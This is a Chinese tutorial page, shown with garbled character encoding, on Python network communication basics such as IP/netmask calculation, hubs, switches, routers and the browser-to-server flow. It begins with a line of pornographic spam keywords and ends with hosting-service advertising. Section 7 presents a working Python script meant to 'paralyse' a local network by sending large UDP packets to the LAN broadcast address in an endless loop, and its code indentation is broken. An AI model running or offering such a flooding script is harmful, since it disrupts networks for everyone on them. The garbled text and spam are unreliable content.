人妖在线一区,国产日韩欧美一区二区综合在线,国产啪精品视频网站免费,欧美内射深插日本少妇

新聞動(dòng)態(tài)

python網(wǎng)絡(luò)通信圖文詳解

發(fā)布日期:2022-02-11 09:05 | 文章來(lái)源:源碼之家

1. 常用的網(wǎng)絡(luò)協(xié)議

ICMP協(xié)議又叫:網(wǎng)絡(luò)控制協(xié)議

2. 數(shù)據(jù)傳輸過(guò)程

3. 兩臺(tái)電腦通信

網(wǎng)絡(luò)傳輸?shù)氖菙?shù)據(jù)的信號(hào)而不是電流

4. IP地址網(wǎng)絡(luò)號(hào)與主機(jī)號(hào)的確定規(guī)則

通過(guò)ip地址和網(wǎng)絡(luò)掩碼的二進(jìn)制數(shù)實(shí)行按位與運(yùn)算,計(jì)算的結(jié)果轉(zhuǎn)換為十進(jìn)制,非0的就是網(wǎng)絡(luò)號(hào),0的就是主機(jī)號(hào)

5. 最開(kāi)始集線器解決多臺(tái)電腦通信

但是集線器是以廣播的形式發(fā)送數(shù)據(jù),設(shè)備一多就會(huì)導(dǎo)致網(wǎng)絡(luò)擁堵。

6. 使用交換機(jī)進(jìn)行網(wǎng)絡(luò)通信

單播寫對(duì)方的mac地址,廣播mac地址寫6組FF:FF:FF:FF:FF:FF

7. 使用udp協(xié)議實(shí)現(xiàn)內(nèi)網(wǎng)癱瘓

先根據(jù)IP地址和網(wǎng)絡(luò)掩碼二進(jìn)制按位與計(jì)算出網(wǎng)絡(luò)號(hào),在使用udp往當(dāng)前局域網(wǎng)(網(wǎng)絡(luò)號(hào))下面無(wú)線循環(huán)發(fā)廣播,使局域網(wǎng)瀕臨癱瘓

import socket  # 導(dǎo)入socket

def main():
 try:
  # 1、創(chuàng)建socket套接字
  udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # socket.SOCK_DGRAM 這里是指定UDP協(xié)議
  # 2、指定地址
  data_address = ("192.168.255.255", 64300)
  # 地址要是一個(gè) 元組,第一個(gè)"192.168.100.255"是內(nèi)網(wǎng)的廣播地址,第二個(gè) 64300 是你計(jì)算機(jī)當(dāng)前的端口#
  # 這個(gè)端口不必太在意,64300 只要不是被其他程序占用的就行,
  # 3、發(fā)送數(shù)據(jù)
  while True:
send_data = "1" * 57175
# 這里發(fā)送的數(shù)據(jù)可以隨意點(diǎn)
udp_socket.sendto(send_data.encode("UTF-8"), data_address)
# 第一個(gè)參數(shù)sendData.encode("UTF-8")是要發(fā)送的數(shù)據(jù),("UTF-8")是設(shè)置發(fā)送數(shù)據(jù)的編碼,
# 第二個(gè)參數(shù)(dataAddress)是發(fā)送數(shù)據(jù)的地址,也就是筆者內(nèi)網(wǎng)的廣播地址
 except Exception as result:
  print("未知錯(cuò)誤" + str(result))

if __name__ == '__main__':
 main()

8. 使用路由器連接多個(gè)網(wǎng)絡(luò)

路由器的作用:連接兩個(gè)以上的網(wǎng)絡(luò)為一個(gè)大網(wǎng)絡(luò)

網(wǎng)關(guān):具有轉(zhuǎn)發(fā)數(shù)據(jù)能力的設(shè)備

當(dāng)AB兩臺(tái)電腦不在同一個(gè)網(wǎng)絡(luò)下想進(jìn)行通信時(shí),A電腦需要先把數(shù)據(jù)發(fā)送到默認(rèn)網(wǎng)關(guān),網(wǎng)關(guān)具有轉(zhuǎn)發(fā)數(shù)據(jù)的能力,網(wǎng)關(guān)再把數(shù)據(jù)轉(zhuǎn)發(fā)給B電腦,默認(rèn)網(wǎng)關(guān)一般都是路由器

數(shù)據(jù)在轉(zhuǎn)發(fā)的過(guò)程當(dāng)中,ip地址不變,mac地址每轉(zhuǎn)發(fā)一次就發(fā)生一次變化

9. 瀏覽器訪問(wèn)服務(wù)器的過(guò)程

(1)向DNS服務(wù)器發(fā)送請(qǐng)求進(jìn)行解析域名

(2)向http服務(wù)器發(fā)送3次握手

(3)握手成功后,向http服務(wù)器發(fā)送Http格式的請(qǐng)求數(shù)據(jù)

(4)所有請(qǐng)求完畢后,向http服務(wù)器發(fā)送4次揮手

網(wǎng)絡(luò)數(shù)據(jù)包發(fā)送過(guò)程當(dāng)中源IP目標(biāo)IP不變,源mac和目標(biāo)mac每通過(guò)路由器網(wǎng)關(guān)轉(zhuǎn)發(fā)一次就會(huì)發(fā)生一次變化

總結(jié)

本篇文章就到這里了,希望能給你帶來(lái)幫助,也希望您能夠多多關(guān)注本站的更多內(nèi)容!

香港快速服務(wù)器

版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。

相關(guān)文章

實(shí)時(shí)開(kāi)通

自選配置、實(shí)時(shí)開(kāi)通

免備案

全球線路精選!

全天候客戶服務(wù)

7x24全年不間斷在線

專屬顧問(wèn)服務(wù)

1對(duì)1客戶咨詢顧問(wèn)

在線
客服

在線客服:7*24小時(shí)在線

客服
熱線

400-630-3752
7*24小時(shí)客服服務(wù)熱線

關(guān)注
微信

關(guān)注官方微信
頂部